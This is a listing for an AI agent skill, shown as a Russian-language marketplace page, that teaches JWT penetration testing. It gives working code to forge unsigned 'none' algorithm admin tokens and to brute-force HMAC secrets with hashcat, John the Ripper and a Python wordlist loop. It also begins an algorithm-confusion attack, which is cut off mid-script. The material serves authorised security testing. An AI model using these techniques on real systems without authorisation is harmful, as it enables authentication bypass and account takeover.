JWT Security Testing
БесплатноБез исполняемых скриптовНе проверенThis skill should be used when the user asks to "test JWT security", "hack JWT tokens", "bypass JWT authentication", "crack JWT secrets", or "exploit JWT…
Об этом скилле
JWT Security Testing
Purpose
Identify and exploit vulnerabilities in JSON Web Token (JWT) implementations, including algorithm confusion attacks, secret key cracking, signature bypass, and claim manipulation. JWTs are widely used for authentication and authorization, making them high-value targets for security testing.
Prerequisites
Required Tools
- jwt_tool (Python JWT manipulation)
- Burp Suite with JWT extensions
- Hashcat or John the Ripper for cracking
- Python with PyJWT library
- jwt.io for decoding
Required Knowledge
- JWT structure and claims
- Cryptographic signing algorithms
- HTTP authentication mechanisms
- Base64 encoding
Outputs and Deliverables
- JWT Vulnerability Assessment - Identified weaknesses in implementation
- Exploitation Proof - Forged tokens demonstrating bypass
- Secret Key Recovery - Cracked HMAC secrets
- Remediation Guidance - Secure implementation recommendations
Core Workflow
Phase 1: Understanding JWT Structure
JWT consists of three Base64URL-encoded parts:
Header.Payload.Signature
Example JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Header:
{
"alg": "HS256",
"typ": "JWT"
}
Payload (Claims):
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022,
"exp": 1516242622,
"admin": false
}
Signature:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
Common claims:
iss- Issuersub- Subjectaud- Audienceexp- Expiration timeiat- Issued atnbf- Not beforejti- JWT ID
Phase 2: JWT Reconnaissance
Identify and decode JWTs:
# Decode JWT parts
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# Using jwt_tool
jwt_tool <token>
# Using Python
python3 -c "
import base64
import json
token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c'
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print('Header:', json.dumps(header, indent=2))
print('Payload:', json.dumps(payload, indent=2))
"
# Online decoder
# https://jwt.io
Look for:
- Algorithm used (HS256, RS256, etc.)
- Sensitive claims (admin, role, permissions)
- Expiration settings
- Key ID (kid) header
Phase 3: None Algorithm Attack
Exploit servers that accept unsigned tokens:
# Using jwt_tool
jwt_tool <token> -X a
# Manual exploitation
# Original header:
{"alg": "HS256", "typ": "JWT"}
# Modified header:
{"alg": "none", "typ": "JWT"}
# Python script for none algorithm
python3 << 'EOF'
import base64
import json
# Modified header with none algorithm
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "1234567890", "name": "Admin", "admin": True, "iat": 1516239022}
# Encode header and payload
header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')
# Create token without signature
token = f"{header_b64}.{payload_b64}."
print(token)
EOF
Variations to try:
{"alg": "none"}
{"alg": "None"}
{"alg": "NONE"}
{"alg": "nOnE"}
Phase 4: Secret Key Brute-Force
Crack weak HMAC secrets:
# Using jwt_tool with dictionary
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt
# Using hashcat
# First, format token for hashcat
echo '<token>' > jwt.txt
# Hashcat mode 16500 for JWT
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Using John the Ripper
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# Python brute-force script
python3 << 'EOF'
import jwt
import sys
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
with open('/usr/share/wordlists/rockyou.txt', 'r', errors='ignore') as f:
for line in f:
secret = line.strip()
try:
jwt.decode(token, secret, algorithms=['HS256'])
print(f"[+] Found secret: {secret}")
break
except:
pass
EOF
Common weak secrets:
secretpassword123456jwt_secret- Company name or domain
Phase 5: Algorithm Confusion Attack
Exploit RSA/HMAC key confusion:
# If server uses RS256 but accepts HS256
# Sign with public key as HMAC secret
# Download public key
curl -s http://target.com/.well-known/jwks.json
# Using jwt_tool
jwt_tool <token> -X k -pk public.pem
# Python exploitation
python3 << 'EOF'
import jwt
import json
# Read public key
with open('public.pem', 'r') as f:
public_key = f.read()
# Create payload with elevated privileges
Установить JWT Security Testing в Claude Code и Claude Desktop
Зарегайся, чтобы установить скилл
Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.
- Открой команду установки в одну строку
- Сохраняй скиллы в синхронизируемую библиотеку
- Уведомления, когда скиллы обновляются
Разрешённые инструменты
Инструменты, которые скиллу разрешено вызывать.
Без ограничений — скилл может использовать любой инструмент.
FAQ
Что делает скилл JWT Security Testing?
This skill should be used when the user asks to "test JWT security", "hack JWT tokens", "bypass JWT authentication", "crack JWT secrets", or "exploit JWT vulnerabilities". It provides comprehensive JSON Web Token attack techniques and security assessment methodologies.
Как установить скилл JWT Security Testing?
Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.
Скилл JWT Security Testing запускает скрипты?
Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.
Похожие скиллы
mcp-builder
Guide for creating high-quality MCP (Model Context Protocol) servers that enable LLMs to interact with external services through well-designed tools. Use when…
от Anthropicclaude-api
Reference for the Claude API / Anthropic SDK — model ids, pricing, params, streaming, tool use, MCP, agents, caching, token counting, model migration. TRIGGER…
от Anthropicalgorithmic-art
Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code…
от Anthropicmcp-integration
This skill should be used when the user asks to "add MCP server", "integrate MCP", "configure MCP in plugin", "use .mcp.json", "set up Model Context…
от Anthropic